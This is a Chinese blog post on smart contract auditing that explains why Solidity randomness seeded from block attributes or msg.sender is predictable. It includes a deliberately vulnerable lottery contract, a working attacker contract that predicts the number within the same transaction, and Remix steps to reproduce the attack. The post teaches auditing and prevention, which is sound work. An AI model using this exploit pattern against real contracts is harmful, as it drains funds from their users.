智能合约审计-随机误用
2020年4月13日 星期一, 发表于 合肥
如果你对本文有任何的建议或者疑问, 可以在 这里给我提 Issues, 谢谢! :)
描叙:智能合约开发中,在程序中使用随机数较好的伪随机数是很难的。很多看似无法被预言的随机数种子或变量,实际被预言的难度很低。
核心问题:一旦在智能合约中使用了随机性很差的随机数作为关键变量,就面临着随机数被预言的攻击风险。
一些概念
智能合约常用的随机数计算方式
keccak256(seed)
常用seed的选取:
-
私有变量
-
区块有关状态block.something
-
msg.sender
-
上述数据的哈希或者运算组合
常用的区块属性
-
block.blockhash
-
block.coinbase
-
block.difficulty
-
block.gaslimit
-
block.number
-
block.timestamp
使用区块相关属性作为随机数种子,是一种常见但是非常不安全的方式,其不安全在于,这些数据对于同一个transaction中的合约调用是可预测的。
msg.sender随机预测
- 使用msg.sender做为随机数种子的安全风险在于,该数据是用户可控的。若随机数种子一旦可以被攻击者选择或控制,就会使随机数面临被预测的风险。
https://vanity-eth.tk 生成特定的地址
漏洞合约分析
pragma solidity ^0.4.24;
contract RandomGame{
mapping (address => uint256) public balances;
event LuckyLog(uint lucky_number, uint guess);
function lucky(uint256 guess) public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
if(lucky_number == guess){
balances[msg.sender] += 1000;
}
emit LuckyLog(lucky_number,guess);
return lucky_number;
}
}
漏洞点:使用了不安全的block.number做为随机数的种子,导致随机数可以被预测,攻击者可以在合约中进行预测,造成一定损失。
攻击者合约
pragma solidity ^0.4.24;
contract RandomGame{
mapping (address => uint256) public balances;
event LuckyLog(uint lucky_number, uint guess);
function lucky(uint256 guess) public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
if(lucky_number == guess){
balances[msg.sender] += 1000;
}
emit LuckyLog(lucky_number,guess);
return lucky_number;
}
}
contract AttackRandom{
RandomGame rg;
function setTarget(address _addr) public {
rg=RandomGame(_addr);
}
function attack() public returns(uint256){
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 lucky_number = uint256(keccak256(abi.encodePacked(seed))) % 100;
rg.lucky(lucky_number);
return lucky_number;
}
}
使用Remix进行进行调试
-
首先对合约进行编译(Current version设置为0.4.24,Auto compile,Enable Optimization全部勾上。编译完成后会出现2个合约分别为RandomGame、AttackRandom部署
-
将AttackRandom合约中setTarget设置为RandomGame合约地址(0xdc0…46222)
-
点击attack发起攻击,然后在RandomGame合约中balances中输入攻击者合约地址(0x8c1…401f5),查询余额,发现为1000 wei ETH,实验成功。
漏洞预防
- 使用Oraclize提供的一个合约接口库,可以通过链下off-chain的数据流推送data-feed来提供与链状态无关的随机数